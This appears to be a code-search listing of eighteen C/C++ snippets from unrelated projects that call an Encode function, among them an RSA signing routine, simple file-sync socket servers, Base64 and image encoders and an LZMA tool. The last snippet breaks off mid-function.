Пример #1
0
void EDSRSA(char *M_fname, char *n_fname, char *e_fname, char *d_fname)
{
	std::ifstream in(M_fname);
	int *M_hash = (int*)md5(&in), i;
    BigInt M(intToChar(M_hash[3])), N(n_fname, false), E(e_fname, false), D(d_fname, false);
    M *= BigInt("10000000000"); M += BigInt(intToChar(M_hash[2]));
    M *= BigInt("10000000000"); M += BigInt(intToChar(M_hash[1]));
    M *= BigInt("10000000000"); M += BigInt(intToChar(M_hash[0]));
    BigInt Signature("1"), Encode("1");
    BigInt DegreeNet[RNet];
	DegreeNet[0] = M;
	DegreeNet[0] %= N;
	for(i = 1; i < RNet; i++)
	{
		DegreeNet[i] = DegreeNet[i-1] * DegreeNet[i-1];
		DegreeNet[i] %= N;
	}
    BigInt degreeNum[RNet];
    degreeNum[0] = BigInt("1");
	for(int i = 1; i < RNet; i++)
        degreeNum[i] = degreeNum[i-1] * BigInt("2");
    BigInt I("0");
	for(int j = RNet-1; j >= 0;)
	{
		if(D >= I + degreeNum[j])
		{
			Signature *= DegreeNet[j];
			Signature %= N;
			I += degreeNum[j];
		}
		else
			j--;
	}
	/////////////////////////////
	DegreeNet[0] = Signature;
	DegreeNet[0] %= N;
	for(i = 1; i < RNet; i++)
	{
		DegreeNet[i] = DegreeNet[i-1] * DegreeNet[i-1];
		DegreeNet[i] %= N;
	}
    I = BigInt("0");
	for(int j = RNet-1; j >= 0;)
	{
		if(E >= I + degreeNum[j])
		{
			Encode *= DegreeNet[j];
			Encode %= N;
			I += degreeNum[j];
		}
		else
			j--;
	}
	/////////////////////////////
	M.TextWrite("hash.txt");
	Signature.TextWrite("signature.txt");
	Encode.TextWrite("encode.txt");
	if( M % N == Encode)
		std::cout<<"OK\n";
	else
		std::cout<<"NOT OK\n";
}
Пример #2
0
/* The main function */
int main ( int argc, char *argv[] )
{
    int serverSock;				/* Server Socket */
    int clientSock;				/* Client Socket */
    struct sockaddr_in changeServAddr;		/* Local address */
    struct sockaddr_in changeClntAddr;		/* Client address */
    unsigned short changeServPort;		/* Server port */
    unsigned int clntLen;			/* Length of address data struct */
    DIR *dir;
    struct dirent *ent;
    char filepath[FILENAME_MAX];
    char filename[FILENAME_MAX];
    char rcvBuf[RCVBUFSIZE];
    char sndBuf[SNDBUFSIZE];
    char fileBuf[FILEBUFSIZE];
    char serverFiles[4096];
    char *curFile;
    MusicInfo rcvInfo;
    memset(&rcvInfo, 0, sizeof(rcvInfo));
    MusicInfo sndInfo;
    memset(&sndInfo, 0, sizeof(sndInfo));

    /* Create new TCP Socket for incoming requests*/
    if ( ( serverSock = socket ( AF_INET, SOCK_STREAM, IPPROTO_TCP ) ) < 0 )
    {
        exit ( 1 );
    }

    int on = 1;
    setsockopt ( serverSock, SOL_SOCKET, SO_REUSEADDR, &on, sizeof ( on ) );
    memset ( &changeServAddr, 0, sizeof ( changeServAddr ) );
    changeServAddr.sin_family = AF_INET;
    changeServAddr.sin_addr.s_addr = htonl ( INADDR_ANY );
    changeServAddr.sin_port = htons ( 12003 );

    /* Bind to local address structure */
    if ( bind ( serverSock, ( struct sockaddr * ) &changeServAddr, sizeof ( changeServAddr ) ) < 0 )
    {
        perror ( "bind() failed." );
        exit ( 1 );
    }

    /* Listen for incoming connections */
    if ( listen ( serverSock, MAXPENDING ) < 0 )
    {
        perror ( "listen() failed." );
        exit ( 1 );
    }

    //char *rcvBuf = ( char * ) malloc ( RCVBUFSIZE );
    //char *sndBuf = ( char * ) malloc ( SNDBUFSIZE );

    /* Loop server forever*/
    while ( 1 )
    {
        /* Accept incoming connection */
        clientSock = accept ( serverSock, ( struct sockaddr * ) &changeClntAddr, &clntLen );
        if ( clientSock < 0 )
        {
            perror ( "accept() failed." );
            exit ( 1 );
        }

        int test = 0;
        while ( 1 )
        {
            memset ( rcvBuf, 0, RCVBUFSIZE );
            memset ( sndBuf, 0, SNDBUFSIZE );
	    memset(fileBuf, 0, FILEBUFSIZE);
            recv ( clientSock, rcvBuf, RCVBUFSIZE, 0 );

            /* Case list */

    	    if(Decode(rcvBuf, RCVBUFSIZE, &rcvInfo)) {
		printf("Request Type: %s\n", rcvInfo.requestType);
	    }
	    printf("Strcmp with list: %d\n", strcmp(rcvInfo.requestType, "list"));
	    printf("Strcmp with diff: %d\n", strcmp(rcvInfo.requestType, "diff"));
	    printf("Strcmp with pull: %d\n", strcmp(rcvInfo.requestType, "pull"));
	    printf("Request Type: %s\n", rcvInfo.requestType);
	    printf("Song Names: %s\n", rcvInfo.songNames);
	    printf("Song IDs: %s\n", rcvInfo.songIDs);
	    printf("End of file? %c\n", rcvInfo.eof);
	    printf("Terminate? %c\n", rcvInfo.terminate);

            if ( strcmp ( rcvInfo.requestType, "list" ) == 0 )
            {
		printf("Inside if statement\n");
                if ( ( dir= opendir ( "./repo" ) ) != NULL )
                {
                    while ( ( ent = readdir ( dir ) ) != NULL )
                    {

                        char *d_name = ent->d_name;
                        if ( *d_name != '.' && strcmp ( d_name, ".." ) != 0 )
                        {
                            strcat ( sndInfo.songNames, d_name );
                            strcat ( sndInfo.songNames, "|" );
                        }
                    }

                    closedir ( dir );
                }

                //strcat ( sndBuf, "\0" );
		strcpy(sndInfo.requestType, rcvInfo.requestType);
	        strcpy(sndInfo.songIDs, " ");
	        strcpy(sndInfo.fileData, " ");
		sndInfo.eof = 1;
		sndInfo.terminate = 1;
		size_t responseSize = Encode(&sndInfo, sndBuf, SNDBUFSIZE);
		printf("sndBuf: %s\n", sndBuf);
                send ( clientSock, sndBuf, SNDBUFSIZE, 0 );
            }	// end of list


	    else if ( strcmp ( rcvInfo.requestType, "diff" ) == 0 )
            {
                if ( ( dir= opendir ( "./repo" ) ) != NULL )
                {
                    while ( ( ent = readdir ( dir ) ) != NULL )
                    {

                        char *d_name = ent->d_name;
                        if ( *d_name != '.' && strcmp ( d_name, ".." ) != 0 )
                        {
                            strcat ( sndInfo.songNames, d_name );
                            strcat ( sndInfo.songNames, "|" );
                        }
                    }

                    closedir ( dir );
                }

                //strcat ( sndBuf, "\0" );
		strcpy(sndInfo.requestType, rcvInfo.requestType);
	        strcpy(sndInfo.songIDs, " ");
	        strcpy(sndInfo.fileData, " ");
		sndInfo.eof = 1;
		sndInfo.terminate = 1;
		size_t responseSize = Encode(&sndInfo, sndBuf, SNDBUFSIZE);
		printf("sndBuf: %s\n", sndBuf);
                send ( clientSock, sndBuf, SNDBUFSIZE, 0 );
            }	// end of list
	    /*else if ( strcmp ( rcvInfo.requestType, "diff" ) == 0 ) {
		printf("Diff requested\n");
		fflush(stdout);
		get_files(dir, ent, serverFiles);
		
	    }*/

            /* Case pull */
            else if ( strcmp ( rcvInfo.requestType, "pull" ) == 0 )
            {
                /* Get array of file names */
                get_files ( dir, ent, serverFiles );

                curFile = strtok ( serverFiles, "\n" );
                while ( curFile != NULL )
                {
                    printf ( "curFile = %s\n", curFile );
                    memset ( sndBuf, 0, SNDBUFSIZE );
                    memset ( filename, 0, FILENAME_MAX );
                    memset ( filepath, 0, FILENAME_MAX );

                    strcat ( filename, curFile );
                    strcat ( filepath, SERVER_DIR );
                    strcat ( filepath, filename );
                    FILE *fp = fopen ( filepath, "r" );

                    /* Send file name first */
                    strcat ( sndBuf, filename );
                    send ( clientSock, sndBuf, SNDBUFSIZE, 0 );

                    if ( fp != NULL )
                    {
                        /* Read the file into sndBuf */
                        while ( fread ( sndBuf, sizeof ( char ), SNDBUFSIZE, fp ) > 0 )
                        {
                            send ( clientSock, sndBuf, SNDBUFSIZE, 0 );
                            memset ( sndBuf, 0, SNDBUFSIZE );
                        }

                        /* Designate end of file */
                        send ( clientSock, "\0", 1, 0 );

                        fclose ( fp );
                    }

                    /* Get next one */
                    curFile = strtok ( NULL, "\n" );
                }
                printf ( "Done sending files.\n" );

            }	// end of pull
        }

        close ( clientSock );
    }

    free ( rcvBuf );
    free ( sndBuf );

}
Пример #3
0
/**
 * Encodes a FString into a Base64 string
 *
 * @param Source the string data to convert
 *
 * @return a string that encodes the binary data in a way that can be safely transmitted via various Internet protocols
 */
FString FBase64::Encode(const FString& Source)
{
	return Encode((uint8*)TCHAR_TO_ANSI(*Source), Source.Len());
}
Пример #4
0
/**
 * Saves to disk the image in a specific format.
 * \param hFile: file handle, open and enabled for writing.
 * \param imagetype: file format, see ENUM_CXIMAGE_FORMATS
 * \return true if everything is ok
 */
bool CxImage::Encode(FILE *hFile, uint32_t imagetype)
{
	CxIOFile file(hFile);
	return Encode(&file,imagetype);
}
Пример #5
0
/**
 * Saves to disk or memory pagecount images, referenced by an array of CxImage pointers.
 * \param hFile: file handle.
 * \param pImages: array of CxImage pointers.
 * \param pagecount: number of images.
 * \param imagetype: can be CXIMAGE_FORMAT_TIF or CXIMAGE_FORMAT_GIF.
 * \return true if everything is ok
 */
bool CxImage::Encode(FILE * hFile, CxImage ** pImages, int pagecount, DWORD imagetype)
{
	CxIOFile file(hFile);
	return Encode(&file, pImages, pagecount,imagetype);
}
Пример #6
0
void CBase64::Encode(LPCSTR szMessage)
{
	if (szMessage != NULL)
		Encode((const PBYTE)szMessage, strlen(szMessage));
}
Пример #7
0
static void jsB_encodeURIComponent(js_State *J)
{
	Encode(J, js_tostring(J, 1), URIUNESCAPED);
}
Пример #8
0
void HandleClientRequest ( int clientSock )
{
    char rcvBuf[RCVBUFSIZE];
    char sndBuf[SNDBUFSIZE];
    char filenames[128][FILENAME_MAX];
    msg_t sndInfo;
    msg_t rcvInfo;
    struct stat s;
    int i = 0;
    DIR *dir;
    struct dirent *ent;

    while ( 1 )
    {
        memset ( &sndInfo, 0, sizeof ( sndInfo ) );
        memset ( &rcvInfo, 0, sizeof ( rcvInfo ) );
        i = 0;

        recv ( clientSock, rcvBuf, RCVBUFSIZE, 0 );
        Decode ( rcvBuf, RCVBUFSIZE, &rcvInfo );

        printf("Message decoded, doing request %s\n", rcvInfo->request);
        /* Case LIST */
        if ( strcmp ( rcvInfo.request, LIST )  == 0 )
        {
            strcpy ( sndInfo.request, rcvInfo.request );
            if ( ( ( dir = opendir ( "./repo" ) ) != NULL ) )
            {
                while (  ( ent = readdir ( dir ) ) != NULL )
                {
                    char *d_name = ent->d_name;
                    if ( *d_name != '.' )
                        strcpy ( sndInfo.filenames[i++], d_name );
                }
            }

            sndInfo.len = i;

            Encode ( &sndInfo, sndBuf, SNDBUFSIZE );
            send ( clientSock, sndBuf, SNDBUFSIZE, 0 );
        } 	// end of LIST

        /* Case LEAVE */
        else if ( strcmp ( rcvInfo.request, LEAVE )  == 0 )
        {
            strcpy ( sndInfo.request, rcvInfo.request );
            Encode ( &sndInfo, sndBuf, SNDBUFSIZE );
            send ( clientSock, sndBuf, SNDBUFSIZE, 0 );
            close ( clientSock );
            break;
        }	// end of LEAVE

        /* Case DIFF */
        else if ( strcmp ( rcvInfo.request, DIFF )  == 0 )
        {
            FILE *fp;
            char filepath[FILEBUFSIZE];
            int totBytesRead = 0;
            int bytesRead = 0;

            sndInfo.len = doDiffServer ( &rcvInfo, &sndInfo );

            /* Send server file lengths to client */
            Encode ( &sndInfo, sndBuf, SNDBUFSIZE );
            send ( clientSock, sndBuf, SNDBUFSIZE, 0 );
        }	// end of DIFF

        else if ( strcmp ( rcvInfo.request, PULL )  == 0 )
        {
            FILE *fp;
            char filepath[FILEBUFSIZE];
            int totBytesRead = 0;
            int bytesRead = 0;

            strcpy ( sndInfo.request, rcvInfo.request );

            sndInfo.len = doDiffServer ( &rcvInfo, &sndInfo );

            /* Send server file lengths to client */
            Encode ( &sndInfo, sndBuf, SNDBUFSIZE );
            send ( clientSock, sndBuf, SNDBUFSIZE, 0 );

            /* Receive file list of unmatched files */
            recv ( clientSock, rcvBuf, RCVBUFSIZE, 0 );
            Decode ( rcvBuf, RCVBUFSIZE, &rcvInfo );

            for ( i = 0; i < rcvInfo.len; i++ )
            {
                totBytesRead = 0;
                memset ( filepath, 0, sizeof ( filepath ) );
                strcat ( filepath, SERVER_DIR );
                strcat ( filepath, rcvInfo.filenames[i] );
                stat ( filepath, &s );

                /* Send size */
                memset ( sndBuf, 0, SNDBUFSIZE );
                sprintf ( sndBuf, "%lu", s.st_size );
                send ( clientSock, sndBuf, SNDBUFSIZE, 0 );

                /* Wait for acknowledgement */
                recv ( clientSock, rcvBuf, RCVBUFSIZE, 0 );

                fp = fopen ( filepath, "rb" );
                while ( totBytesRead < s.st_size )
                {
                    memset ( sndBuf, 0, SNDBUFSIZE );
                    bytesRead = fread ( sndBuf, 1, SNDBUFSIZE, fp );
                    totBytesRead += bytesRead;
                    send ( clientSock, sndBuf, bytesRead, 0 );
                }

                fclose ( fp );

                /* Wait for acknowledge current file is done writing */
                recv ( clientSock, rcvBuf, RCVBUFSIZE, 0 );
            }
        }	// end of PULL
        else if ( strcmp ( rcvInfo.request, CAP )  == 0 ) 
        {
            printf("In cap block\n");
            FILE *fp;
            char filepath[FILEBUFSIZE];
            int totBytesRead = 0;
            int bytesRead = 0;

            strcpy ( sndInfo.request, rcvInfo.request );

            sndInfo.len = doCapServer ( &rcvInfo, &sndInfo, rcvInfo.len );
            //sndInfo.len = 3;

            /* Send server file lengths to client */
            Encode ( &sndInfo, sndBuf, SNDBUFSIZE );
            send ( clientSock, sndBuf, SNDBUFSIZE, 0 );

            /* Receive file list of unmatched files */
            recv ( clientSock, rcvBuf, RCVBUFSIZE, 0 );
            Decode ( rcvBuf, RCVBUFSIZE, &rcvInfo );

            for ( i = 0; i < rcvInfo.len; i++ )
            {
                totBytesRead = 0;
                memset ( filepath, 0, sizeof ( filepath ) );
                strcat ( filepath, SERVER_DIR );
                strcat ( filepath, rcvInfo.filenames[i] );
                stat ( filepath, &s );

                /* Send size */
                memset ( sndBuf, 0, SNDBUFSIZE );
                sprintf ( sndBuf, "%lu", s.st_size );
                send ( clientSock, sndBuf, SNDBUFSIZE, 0 );

                /* Wait for acknowledgement */
                recv ( clientSock, rcvBuf, RCVBUFSIZE, 0 );

                fp = fopen ( filepath, "rb" );
                while ( totBytesRead < s.st_size )
                {
                    memset ( sndBuf, 0, SNDBUFSIZE );
                    bytesRead = fread ( sndBuf, 1, SNDBUFSIZE, fp );
                    totBytesRead += bytesRead;
                    send ( clientSock, sndBuf, bytesRead, 0 );
                }

                fclose ( fp );

                /* Wait for acknowledge current file is done writing */
                recv ( clientSock, rcvBuf, RCVBUFSIZE, 0 );
            }
        }   // end of CAP
    }
}
Пример #9
0
int main2(int numArgs, const char *args[], char *rs)
{
  CFileSeqInStream inStream;
  CFileOutStream outStream;
  int res;
  int encodeMode = 0;
  Bool modeWasSet = False;
  const char *inputFile = NULL;
  const char *outputFile = "file.tmp";
  int param;
  UInt64 fileSize;

  FileSeqInStream_CreateVTable(&inStream);
  File_Construct(&inStream.file);

  FileOutStream_CreateVTable(&outStream);
  File_Construct(&outStream.file);

  if (numArgs == 1)
  {
    PrintHelp(rs);
    return 0;
  }

  for (param = 1; param < numArgs; param++) {
    if (strcmp(args[param], "-e") == 0 || strcmp(args[param], "-d") == 0) {
      encodeMode = (args[param][1] == 'e');
      modeWasSet = True;
    } else if (strcmp(args[param], "--f86") == 0) {
      mConType = X86Converter;
    } else if (strcmp(args[param], "-o") == 0 ||
               strcmp(args[param], "--output") == 0) {
      if (numArgs < (param + 2)) {
        return PrintUserError(rs);
      }
      outputFile = args[++param];
    } else if (strcmp(args[param], "--debug") == 0) {
      if (numArgs < (param + 2)) {
        return PrintUserError(rs);
      }
      //
      // For now we silently ignore this parameter to achieve command line
      // parameter compatibility with other build tools.
      //
      param++;
    } else if (
                strcmp(args[param], "-h") == 0 ||
                strcmp(args[param], "--help") == 0
              ) {
      PrintHelp(rs);
      return 0;
    } else if (
                strcmp(args[param], "-v") == 0 ||
                strcmp(args[param], "--verbose") == 0
              ) {
      //
      // For now we silently ignore this parameter to achieve command line
      // parameter compatibility with other build tools.
      //
    } else if (
                strcmp(args[param], "-q") == 0 ||
                strcmp(args[param], "--quiet") == 0
              ) {
      mQuietMode = True;
    } else if (strcmp(args[param], "--version") == 0) {
      PrintVersion(rs);
      return 0;
    } else if (inputFile == NULL) {
      inputFile = args[param];
    } else {
      return PrintUserError(rs);
    }
  }

  if ((inputFile == NULL) || !modeWasSet) {
    return PrintUserError(rs);
  }

  {
    size_t t4 = sizeof(UInt32);
    size_t t8 = sizeof(UInt64);
    if (t4 != 4 || t8 != 8)
      return PrintError(rs, "Incorrect UInt32 or UInt64");
  }

  if (InFile_Open(&inStream.file, inputFile) != 0)
    return PrintError(rs, "Can not open input file");

  if (OutFile_Open(&outStream.file, outputFile) != 0)
    return PrintError(rs, "Can not open output file");

  File_GetLength(&inStream.file, &fileSize);

  if (encodeMode)
  {
    if (!mQuietMode) {
      printf("Encoding\n");
    }
    res = Encode(&outStream.s, &inStream.s, fileSize);
  }
  else
  {
    if (!mQuietMode) {
      printf("Decoding\n");
    }
    res = Decode(&outStream.s, &inStream.s, fileSize);
  }

  File_Close(&outStream.file);
  File_Close(&inStream.file);

  if (res != SZ_OK)
  {
    if (res == SZ_ERROR_MEM)
      return PrintError(rs, kCantAllocateMessage);
    else if (res == SZ_ERROR_DATA)
      return PrintError(rs, kDataErrorMessage);
    else if (res == SZ_ERROR_WRITE)
      return PrintError(rs, kCantWriteMessage);
    else if (res == SZ_ERROR_READ)
      return PrintError(rs, kCantReadMessage);
    return PrintErrorNumber(rs, res);
  }
  return 0;
}
Пример #10
0
static int xsEncode(HV* hv, AV* av, SV* io, bool useIO, SV* eol) {
  csv_t csv;
  SetupCsv(&csv, hv);
  csv.useIO = useIO;
  return Encode(&csv, io, av, eol);
}
Пример #11
0
static void SetAttr (VAttrListPosn *posn, VDictEntry *dict,
		     VRepnKind repn, va_list *args)
{
    size_t old_value_size, new_value_size, name_size;
    VPointer value;
    VAttrRec *a = posn->ptr;

    /* Determine the amount of storage needed to record the new value. In some
       cases, this requires first encoding the new value as a string. */
    name_size = strlen (a->name);
    switch (repn) {

    case VBitRepn:
    case VUByteRepn:
    case VSByteRepn:
    case VShortRepn:
    case VLongRepn:
    case VFloatRepn:
    case VDoubleRepn:
    case VBooleanRepn:
    case VStringRepn:
	if (repn == VStringRepn && ! dict)
	    value = (VPointer) va_arg (*args, VStringConst);
	else value = (VPointer) Encode (dict, repn, args);
	new_value_size = strlen (value) + 1;
	break;

    default:
	value = va_arg (*args, VPointer);
	new_value_size = 0;
    }

    /* Is enough storage allocated for it in the existing attribute node? */
    switch (a->repn) {

    case VStringRepn:
	old_value_size = strlen (a->value) + 1;
	break;

    default:
	old_value_size = 0;
    }
    if (old_value_size < new_value_size) {

	/* It exists, but it's too small: */
	a = VMalloc (sizeof (VAttrRec) + name_size + new_value_size);
	a->next = posn->ptr->next;
	a->prev = posn->ptr->prev;
	if (a->next)
	    a->next->prev = a;
	else posn->list->prev = a;
	if (a->prev)
	    a->prev->next = a;
	else posn->list->next = a;
	strcpy (a->name, posn->ptr->name);
	VFree (posn->ptr);
	posn->ptr = a;
    }

    /* Copy in the attribute's new value: */
    switch (repn) {

    case VBitRepn:
    case VUByteRepn:
    case VSByteRepn:
    case VShortRepn:
    case VLongRepn:
    case VFloatRepn:
    case VDoubleRepn:
    case VBooleanRepn:
    case VStringRepn:
	a->repn = VStringRepn;
	a->value = a->name + name_size + 1;
	strcpy (a->value, value);
	break;

    default:
	a->repn = repn;
	a->value = value;
    }
}
Пример #12
0
	void HexConverter::ToString(const std::vector<byte> &Input, std::string &Output)
	{
		std::vector<byte> encoded;
		Encode(Input, 0, Input.size(), encoded);
		Output.assign((char*)&encoded[0], encoded.size());
	}
Пример #13
0
	BYTE* GetBytes(U32* len)
	{
		return Encode(len);
	}
Пример #14
0
void EncodingEDSRSA(char *M_fname, char *nA_fname, char *eA_fname, char *dA_fname, char *nB_fname, char *eB_fname, char *dB_fname)
{
	std::ifstream in(M_fname);
	int *M_hash = (int*)md5(&in), i;
    BigInt  M(intToChar(M_hash[3])), NA(nA_fname, false), EA(eA_fname, false), DA(dA_fname, false);
    M *= BigInt("10000000000"); M += BigInt(intToChar(M_hash[2]));
    M *= BigInt("10000000000"); M += BigInt(intToChar(M_hash[1]));
    M *= BigInt("10000000000"); M += BigInt(intToChar(M_hash[0]));
    BigInt NB(nB_fname, false), EB(eB_fname, false), DB(dB_fname, false);
    BigInt Signature("1"), Code("1"), Encode("1"), CheckSign("1");
    BigInt DegreeNet[RNet];
	DegreeNet[0] = M;
	DegreeNet[0] %= NA;
	for(i = 1; i < RNet; i++)
	{
		DegreeNet[i] = DegreeNet[i-1] * DegreeNet[i-1];
		DegreeNet[i] %= NA;
	}
    BigInt degreeNum[RNet];
    degreeNum[0] = BigInt("1");
	for(int i = 1; i < RNet; i++)
        degreeNum[i] = degreeNum[i-1] * BigInt("2");
    BigInt I("0");
	for(int j = RNet-1; j >= 0;)
	{
		if(DA >= I + degreeNum[j])
		{
			Signature *= DegreeNet[j];
			Signature %= NA;
			I += degreeNum[j];
		}
		else
			j--;
	}
	//////////////////////////////
	DegreeNet[0] = Signature;
	DegreeNet[0] %= NB;
	for(i = 1; i < RNet; i++)
	{
		DegreeNet[i] = DegreeNet[i-1] * DegreeNet[i-1];
		DegreeNet[i] %= NB;
	}
    I = BigInt("0");
	for(int j = RNet-1; j >= 0;)
	{
		if(EB >= I + degreeNum[j])
		{
			Code *= DegreeNet[j];
			Code %= NB;
			I += degreeNum[j];
		}
		else
			j--;
	}
	//////////////////////////////
	DegreeNet[0] = Code;
	DegreeNet[0] %= NB;
	for(i = 1; i < RNet; i++)
	{
		DegreeNet[i] = DegreeNet[i-1] * DegreeNet[i-1];
		DegreeNet[i] %= NB;
	}
    I = BigInt("0");
	for(int j = RNet-1; j >= 0;)
	{
		if(DB >= I + degreeNum[j])
		{
			Encode *= DegreeNet[j];
			Encode %= NB;
			I += degreeNum[j];
		}
		else
			j--;
	}
	//////////////////////////////
	DegreeNet[0] = Encode;
	DegreeNet[0] %= NA;
	for(i = 1; i < RNet; i++)
	{
		DegreeNet[i] = DegreeNet[i-1] * DegreeNet[i-1];
		DegreeNet[i] %= NA;
	}
    I = BigInt("0");
	for(int j = RNet - 1; j >= 0;)
	{
		if(EA >= I + degreeNum[j])
		{
			CheckSign *= DegreeNet[j];
			CheckSign %= NA;
			I += degreeNum[j];
		}
		else
			j--;
	}
	//////////////////////////////
	M.TextWrite("hash.txt");
	Code.TextWrite("code.txt");
	Encode.TextWrite("encode.txt");
	CheckSign.TextWrite("checksign.txt");
	if( M % NA == CheckSign)
		std::cout<<"OK\n";
	else
		std::cout<<"NOT OK\n";
}
Пример #15
0
void cInstrTypeRI::Copy(cInstrTypeRI const& pInstr) {
	cInstrTypeR::Copy(pInstr);
	mInteger = pInstr.mInteger;
	Encode();
}
Пример #16
0
  RESULT cConnection::_PostRequest(const std::string& sRelativeURI, const std::map<std::string, std::string>& mValues)
  {
    boost::asio::io_service io_service;

    // Get a list of endpoints corresponding to the server name.
    boost::asio::ip::tcp::resolver resolver(io_service);
    boost::asio::ip::tcp::resolver::query query(HOST_NAME, "http");
    boost::asio::ip::tcp::resolver::iterator endpoint_iterator = resolver.resolve(query);
    boost::asio::ip::tcp::resolver::iterator end;

    // Try each endpoint until we successfully establish a connection.
    boost::asio::ip::tcp::socket socket(io_service);
    boost::system::error_code error = boost::asio::error::host_not_found;
    while (error && (endpoint_iterator != end)) {
      socket.close();
      socket.connect(*endpoint_iterator++, error);
    }
    if (error) {
      return RESULT::ERROR_SERVER_COULD_NOT_BE_CONTACTED;
    }

    // Form the request. We specify the "Connection: close" header so that the
    // server will close the socket after transmitting the response. This will
    // allow us to treat all data up until the EOF as the content.
    boost::asio::streambuf request;
    std::ostream request_stream(&request);
    //std::ostringstream request_stream;


    std::string sRelativeURIWithAnyVariables = sRelativeURI;

    if (!mValues.empty()) {
      std::ostringstream oVariables;
      std::map<std::string, std::string>::const_iterator iter = mValues.begin();
      const std::map<std::string, std::string>::const_iterator iterEnd = mValues.end();
        // Write the first item so that we can safely add "&" between every other item
      if (iter != iterEnd) {
        oVariables<<Encode(iter->first)<<"="<<Encode(iter->second);
        iter++;
      }
      while (iter != iterEnd) {
        oVariables<<"&"<<Encode(iter->first)<<"="<<Encode(iter->second);
        iter++;
      }

      sRelativeURIWithAnyVariables += "?" + oVariables.str();
    }

    request_stream<<"GET "<<HOST_FINALTV_ROOT<<sRelativeURIWithAnyVariables<<" HTTP/1.1"<<STR_END;
    request_stream<<"Host: "<<HOST_NAME<<""<<STR_END;
    request_stream<<"User-Agent: Mozilla/4.0 (compatible; libfinaltv 1.0; Linux)"<<STR_END;
    request_stream<<"Accept: */*"<<STR_END;
    request_stream<<"Connection: close"<<STR_END;
    request_stream<<STR_END;


    //std::cout<<"Sending request: "<<std::endl;
    //std::cout<<request_stream.str()<<std::endl;

    // Send the request.
    boost::asio::write(socket, request);

    // Read the response status line.
    boost::asio::streambuf response;
    boost::asio::read_until(socket, response, "\r\n");

    // Check that response is OK.
    std::istream response_stream(&response);
    std::string http_version;
    response_stream >> http_version;
    unsigned int status_code;
    response_stream >> status_code;
    std::string status_message;
    std::getline(response_stream, status_message);
    if (!response_stream || (http_version.substr(0, 5) != "HTTP/")) {
      std::cout<<"Invalid response"<<std::endl;
      return RESULT::ERROR_SERVER_INVALID_RESPONSE;
    }
    if (status_code != 200) {
      std::cout<<"Response returned with status code "<<status_code<<std::endl;
      return RESULT::ERROR_SERVER_INVALID_RESPONSE;
    }

    // Read the response headers, which are terminated by a blank line.
    boost::asio::read_until(socket, response, "\r\n\r\n");

    // Process the response headers.
    std::string header;
    while (std::getline(response_stream, header) && (header != "\r")) {
      //std::cout<<header<<"\n";
    }
    //std::cout<<"\n";

    std::ostringstream o;

    // Process the content in this response if there is any
    if (response.size() > 0) {
      // Valid response
      o<<&response;
    }

    // Read until EOF, writing data to output as we go.
    while (boost::asio::read(socket, response, boost::asio::transfer_at_least(1), error)) {
      o<<&response;
    }
    if (error != boost::asio::error::eof) {
      std::cout<<"Error not at the end of the file "<<status_code<<std::endl;
    }

    std::istringstream buffer(o.str());

    std::string sLine;
    while (std::getline(buffer, sLine)) {
      if (sLine == "success") return RESULT::SUCCESS;
      else if (sLine == "error_wrong_version") return RESULT::ERROR_WRONG_VERSION;
      else if (sLine == "error_no_action") return RESULT::ERROR_NO_ACTION;
      else if (sLine == "error_username_or_password_incorrect") return RESULT::ERROR_USERNAME_OR_PASSWORD_INCORRECT;
      else if (sLine == "error_username_banned_24_hours") return RESULT::ERROR_USERNAME_BANNED_24_HOURS;
      else if (sLine == "error_username_banned_6_months") return RESULT::ERROR_USERNAME_BANNED_6_MONTHS;
      else if (sLine == "error_ip_banned_24_hours") return RESULT::ERROR_IP_BANNED_24_HOURS;
      else if (sLine == "error_ip_banned_6_months") return RESULT::ERROR_IP_BANNED_6_MONTHS;
      else if (sLine == "error_requests_too_frequent") return RESULT::ERROR_REQUESTS_TOO_FREQUENT;
    }

    return RESULT::ERROR_SERVER_INVALID_RESPONSE;
  }
Пример #17
0
void LocalCoordinateCoding::Train(
    const arma::mat& data,
    const DictionaryInitializer& initializer)
{
  Timer::Start("local_coordinate_coding");

  // Initialize the dictionary.
  initializer.Initialize(data, atoms, dictionary);

  double lastObjVal = DBL_MAX;

  // Take the initial coding step, which has to happen before entering the main
  // loop.
  Log::Info << "Initial Coding Step." << std::endl;

  arma::mat codes;
  Encode(data, codes);
  arma::uvec adjacencies = find(codes);

  Log::Info << "  Sparsity level: " << 100.0 * ((double)(adjacencies.n_elem)) /
      ((double)(atoms * data.n_cols)) << "%.\n";
  Log::Info << "  Objective value: " << Objective(data, codes, adjacencies)
      << "." << std::endl;

  for (size_t t = 1; t != maxIterations; t++)
  {
    Log::Info << "Iteration " << t << " of " << maxIterations << "."
        << std::endl;

    // First step: optimize the dictionary.
    Log::Info << "Performing dictionary step..." << std::endl;
    OptimizeDictionary(data, codes, adjacencies);
    double dsObjVal = Objective(data, codes, adjacencies);
    Log::Info << "  Objective value: " << dsObjVal << "." << std::endl;

    // Second step: perform the coding.
    Log::Info << "Performing coding step..." << std::endl;
    Encode(data, codes);
    adjacencies = find(codes);
    Log::Info << "  Sparsity level: " << 100.0 * ((double) (adjacencies.n_elem))
        / ((double)(atoms * data.n_cols)) << "%.\n";

    // Terminate if the objective increased in the coding step.
    double curObjVal = Objective(data, codes, adjacencies);
    if (curObjVal > dsObjVal)
    {
      Log::Warn << "Objective increased in coding step!  Terminating."
          << std::endl;
      break;
    }

    // Find the new objective value and improvement so we can check for
    // convergence.
    double improvement = lastObjVal - curObjVal;
    Log::Info << "Objective value: " << curObjVal << " (improvement "
        << std::scientific << improvement << ")." << std::endl;

    if (improvement < tolerance)
    {
      Log::Info << "Converged within tolerance " << tolerance << ".\n";
      break;
    }

    lastObjVal = curObjVal;
  }

  Timer::Stop("local_coordinate_coding");
}
Пример #18
0
static hb_buffer_t* Encode(hb_work_object_t *w)
{
    hb_work_private_t *pv = w->private_data;
    hb_audio_t *audio = w->audio;
    uint64_t pts, pos;

    if (hb_list_bytes(pv->list) < pv->input_samples * sizeof(float))
    {
        return NULL;
    }

    hb_list_getbytes(pv->list, pv->input_buf, pv->input_samples * sizeof(float),
                     &pts, &pos);

    // Prepare input frame
    int out_linesize;
    int out_size = av_samples_get_buffer_size(&out_linesize,
                                              pv->context->channels,
                                              pv->samples_per_frame,
                                              pv->context->sample_fmt, 1);
    AVFrame frame = { .nb_samples = pv->samples_per_frame, };
    avcodec_fill_audio_frame(&frame,
                             pv->context->channels, pv->context->sample_fmt,
                             pv->output_buf, out_size, 1);
    if (pv->avresample != NULL)
    {
        int in_linesize;
        av_samples_get_buffer_size(&in_linesize, pv->context->channels,
                                   frame.nb_samples, AV_SAMPLE_FMT_FLT, 1);
